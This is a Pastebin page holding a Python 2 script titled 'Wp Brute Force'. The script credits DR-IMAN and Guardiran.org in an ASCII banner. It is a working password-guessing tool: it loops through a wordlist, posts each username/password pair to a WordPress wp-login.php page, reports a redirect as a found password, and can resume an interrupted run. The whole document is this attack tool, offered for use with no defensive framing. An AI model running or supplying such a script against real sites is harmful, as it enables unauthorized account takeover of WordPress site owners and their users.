Advertisement
dr-iman

Wp Brute Force

Jun 13th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.88 KB | None | 0 0
  1. #!/usr/bin/python
  2. #coding:utf-8
  3. import argparse
  4. import requests
  5. from urlparse import urlparse
  6.  
  7. def reportarError(error):
  8.     print """[*] ERROR!
  9.  
  10. If favorite , reporta The error:
  11.  
  12. {bars}
  13. {error}
  14. {bars}
  15.  
  16. https://t.me/mrar1yan
  17.  
  18. Thank you for your collaboration!
  19. """.format(error=error.message, bars="-"*len(error.message))
  20.  
  21.  
  22. def attack(target, user, passlist, restore = False):
  23.  
  24.     target = urlparse(target)
  25.  
  26.     if target.scheme == "":
  27.         target = "http://{}".format(target.geturl())
  28.     else:
  29.         target = target.geturl()
  30.  
  31.     print "Target: {}\n".format(target)
  32.  
  33.     passlist = open(passlist, 'r')
  34.     passlist = passlist.readlines()
  35.  
  36.     iteration = open('iteration.txt','a+')
  37.     iteration.seek(0,0)
  38.     content_iteration = iteration.readlines()
  39.  
  40.     if len(content_iteration) == 0:
  41.         iteration.write("1\n")
  42.         iteration.close()
  43.        
  44.     iteration = open('iteration.txt','r+')
  45.     content_iteration = iteration.readlines()
  46.     iteration.close()
  47.  
  48.     aux = passlist
  49.     cont = 1
  50.     Found = False
  51.  
  52.     if restore:
  53.         print "[*] Restoring Attack\n"
  54.         last_value_iteration = int(str(content_iteration[len(content_iteration)-1]).strip())
  55.         aux = aux[last_value_iteration-1:]
  56.         if len(aux) == 0:
  57.             cont = 1
  58.             aux = passlist
  59.         else:
  60.             cont = last_value_iteration
  61.  
  62.    
  63.     for password in aux:
  64.         with open('iteration.txt','w') as iteration:
  65.             try:
  66.                 cabeceras = {
  67.                     "Content-type": "application/x-www-form-urlencoded",
  68.                     "Accept": "text/plain"
  69.                 }
  70.  
  71.                 payload = {
  72.                     'log': user.strip(),
  73.                     'pwd': password.strip()
  74.                 }
  75.  
  76.                 response = requests.post(target, data=payload, headers=cabeceras, allow_redirects=False)
  77.  
  78.                 if response.status_code in [302, 303]:
  79.                     print '%d-%s  <----- Found :)' % (cont,password.strip())
  80.                     cont = 0
  81.                     Found = True
  82.                     break
  83.                 elif response.status_code == 200:
  84.                     print '%d-%s Not Found :(' % (cont,password.strip())
  85.                 else:
  86.                     print 'Error!!!!'
  87.  
  88.             except KeyboardInterrupt:
  89.                 print '\n Execution terminated by keyboard '
  90.                 cont -= 1
  91.                 exit()
  92.             except Exception as e:
  93.                 reportarError(e)
  94.                 exit()
  95.             finally:
  96.                 cont += 1
  97.                 iteration.write(str(cont)+'\n')
  98.  
  99.     if not Found:
  100.         print "\ Could not find the password.Sorry :(\n"
  101.  
  102.  
  103. def conexion():
  104.     parser = argparse.ArgumentParser(
  105.             usage="./Wpb.py -t [target] -u [user] -w [passlist]",
  106.             add_help=False,        
  107.     )
  108.     parser.add_argument("-h", "--help", action="help", help=" How User This Tool ")
  109.     parser.add_argument("-t", dest='target', help="For Example : localhost/wordpress/wp-login.php")
  110.     parser.add_argument("-u", dest='user', help="username 0f Target")
  111.     parser.add_argument("-w", dest='passlist', help="address passlist for brute force")
  112.     parser.add_argument("-r", dest='restore', action="store_true", help="Restore the last session of the attack")
  113.     args = parser.parse_args()
  114.    
  115.     authors = ['@mrar1yan']
  116.     collaborators = ['@mrar1yan']
  117.  
  118.     print """
  119. __      ____________                            
  120. /  \   /  \______   \                          
  121. \  \/\/   /|     ___/                            
  122. \       / |    |                                
  123.  \__/\ /  |____|                                
  124.       \/                                        
  125.      __________                __                
  126.      \______   \_______ __ ___/  |_  ____        
  127.       |    |  _/\_  __ \ |  \  __\/ __ \      
  128.       |    |   \ |  | \/  |  /|  | \ ___/      
  129.       |______  / |__|  |____/ |__|  \___  >      
  130.              \/                         \/      
  131.              ___________                        
  132.              \_   _____/__________   ____  ____  
  133.               |    __)/  _ \_  __ \_/ ___\/ __ \
  134.               |     \(  <_> )  | \/\ \__\ ___/
  135.               \___  / \____/|__|    \___  >___  >
  136.                   \/                    \/    \/
  137. [-][-][-][-][-][-][-][-][-][-]                                                
  138.  [-] Coded By : DR-IMAN     [-]
  139. [-] Site : Guardiran.org   [-]
  140. [-] Tel : DarkCod3r        [-]
  141. [-][-][-][-][-][-][-][-][-][-]
  142.  
  143.  
  144.  
  145.    """.format(
  146.         authors=', '.join(authors),
  147.         collaborators=', '.join(collaborators)
  148.     )
  149.    
  150.     if args.target and args.user and args.passlist:
  151.         attack(args.target, args.user, args.passlist, args.restore)
  152.     else:
  153.         parser.print_help()
  154.  
  155.  
  156. if __name__ == '__main__':
  157.     conexion()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement